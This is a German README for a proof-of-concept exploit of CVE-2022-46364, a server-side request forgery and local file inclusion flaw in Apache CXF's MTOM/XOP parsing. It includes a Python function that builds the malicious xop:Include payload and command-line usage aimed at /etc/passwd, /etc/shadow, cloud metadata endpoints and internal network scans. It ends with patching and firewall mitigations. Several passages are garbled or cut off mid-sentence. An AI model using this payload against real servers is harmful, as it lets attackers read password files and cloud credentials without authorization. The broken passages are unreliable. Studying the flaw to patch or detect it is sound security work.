
Diese Schwachstelle ermöglicht es einem Angreifer, SSRF-Angriffe (Server-Side Request Forgery) auf Apache-CXF-Webdienste durchzuführen, die MTOM/XOP-Anfragen akzeptieren. Das Problem besteht darin, wie das href-Attribut von xop:Include geparst wird, wodurch der Server beliebige URLs anfordern kann.
DIESES WERKZEUG IST NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE SICHERHEITSTESTS GEEIGNET
Dieser Proof-of-Concept-Exploit wird zu Bildungszwecken bereitgestellt, um Sicherheitsexperten zu helfen, die Schwachstelle zu verstehen und ihre Systeme zu schützen. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keinerlei Haftung für Missbrauch oder Schäden, die durch dieses Werkzeug verursacht werden. Sie müssen vor dem Testen eine ausdrückliche schriftliche Genehmigung des Systembesitzers einholen. Durch die Nutzung dieses Werkzeugs stimmen Sie der Einhaltung aller geltenden Gesetze zu.
| Attribut | Wert |
|---|
| CVE-ID | CVE-2022-46364 |
| GHSA-ID | GHSA-x3x3-qwjq-8gj4 |
| Schwachstellentyp | Server-Side Request Forgery (SSRF) → Local File Inclusion (LFI) |
| Betroffene Software | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| Schweregrad | Kritisch |
| CVSS-Score | 9.8 (Kritisch) |
| Angriffsvektor | Netzwerk |
| Authentifizierung | Keine erforderlich |
| Patch-Versionen | Apache CXF 3.5.5+, 3.4.10+ |
Dieser Exploit nutzt eine kritische SSRF-Schwachstelle in der MTOM-Implementierung (Message Transmission Optimization Mechanism) von Apache CXF aus, um Local File Inclusion (LFI) und interne Netzwerkscans zu ermöglichen.
Apache CXF validiert das href-Attribut in xop:Include-Elementen bei der Verarbeitung MTOM-kodierter SOAP-Nachrichten nicht korrekt. Die Bibliothek verwendet URLConnection von Java, um die URI ohne geeignete Protokollbeschränkungen aufzulösen, sodass Angreifer Folgendes angeben können:
file:// - Lokale Dateien lesen (LFI)http:// / https:// - Interne Netzwerkanfragen (SSRF)ftp:// - FTP-Anfragen (mögliche weitere Ausnutzung)Diese Schwachstelle ist besonders gefährlich, weil:
Jede Apache-CXF-Bereitstellung, die:
MTOM (Message Transmission Optimization Mechanism) ist ein W3C-Standard zur Optimierung der binären Datenübertragung in SOAP-Nachrichten. Es verwendet XOP (XML-binary Optimized Packaging), um Binärdatenreferenzen einzubinden:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
Normalerweise enthält href eine CID (Content-ID)-Referenz auf einen MIME-Teil. Allerdings verarbeitet die AttachmentUtil-Klasse von Apache CXF href-Werte als generische URIs ohne ordnungsgemäße Bereinigung.
Anfrageparsen:
Content-Type: application/xop+xmlAttachmentUtil.getAttachmentObject() verarbeitet xop:Include-ElementeURI-Auflösung:
new URL(href).openStream() auffile://-ProtokollsAntworteinbettung:
// Vereinfachte Darstellung des anfälligen Codes in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // Keine Protokollvalidierung!
return new DataHandler(url.openStream());
}
Das file://-Protokoll folgt demselben Codepfad:
file:///etc/passwd → Java öffnet /etc/passwd als DateistreamDurch Iteration über IPs und Ports können Angreifer:
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF zu LFI Exploit - Nur zu Bildungszwecken
options:
-h, --help Zeigt diese Hilfemeldung an und beendet das Programm
-t TARGET, --target TARGET
Basis-URL des Ziels (z. B. http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
Pfad des Web-Service-Endpunkts (Standard: /services/Service)
-u URL, --url URL Externe URL für SSRF (z. B. http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE Lokaler Dateipfad für LFI (z. B. /etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN Internen Netzwerkbereich in CIDR-Notation scannen (z. B. 192.168.1.0/24)
| Argument | Beschreibung | Beispiel |
|---|---|---|
-t, --target | Erforderlich. Basis-URL des Ziel-Apache-CXF-Dienstes | http://10.10.10.50:8080 |
-e, --endpoint | Optional. SOAP-Endpunktpfad | /services/UserManagement |
-u, --url | HTTP/HTTPS-URL, die per SSRF abgerufen werden soll | http://169.254.169.254/latest/user-data |
-f, --file | Lokaler Dateipfad, der per LFI gelesen werden soll | /etc/shadow, C:\ProgramData\secret.txt |
# Python 3.6 oder höher erforderlich
python --version
# Repository klonen
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### Abhängigkeiten
requests>=2.28.0 urllib3>=1.26.0
---
### Kerndetails der Implementierung
#### 1. MTOM-Payload-Konstruktion
```python
def create_mtom_payload(uri):
"""Erstelle eine multipart/related MTOM-Nachricht mit xop:Include"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part
Upgrade auf eine gepatchte Version:
<!-- Für Maven-Projekte -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>3.5.5</version> <!-- oder 3.4.10 für Legacy -->
</dependency>
MTOM komplett deaktivieren (falls nicht benötigt):
<jaxws:endpoint ...>
<jaxws:properties>
<entry key="mtom-enabled" value="false"/>
</jaxws:properties>
</jaxws:endpoint>
Netzwerkebenen-Kontrollen:
Web Application Firewall (WAF)-Regeln:
xop:Include mit href enthalten, das auf file:// oder interne IP-Adressen verweistDiese Schwachstelle wurde entdeckt und verantwortungsvoll gemeldet von:
Dieses Werkzeug wird ausschließlich zu Bildungszwecken bereitgestellt. Unautorisierte Nutzung ist untersagt.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Zuletzt aktualisiert: März 2026
Version: 1.0
Kontakt: Bei Sicherheitsbedenken oder Fragen öffnen Sie bitte ein Issue auf GitHub.
Dieses Dokument ist Teil verantwortungsvoller Sicherheitsforschung. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie testen.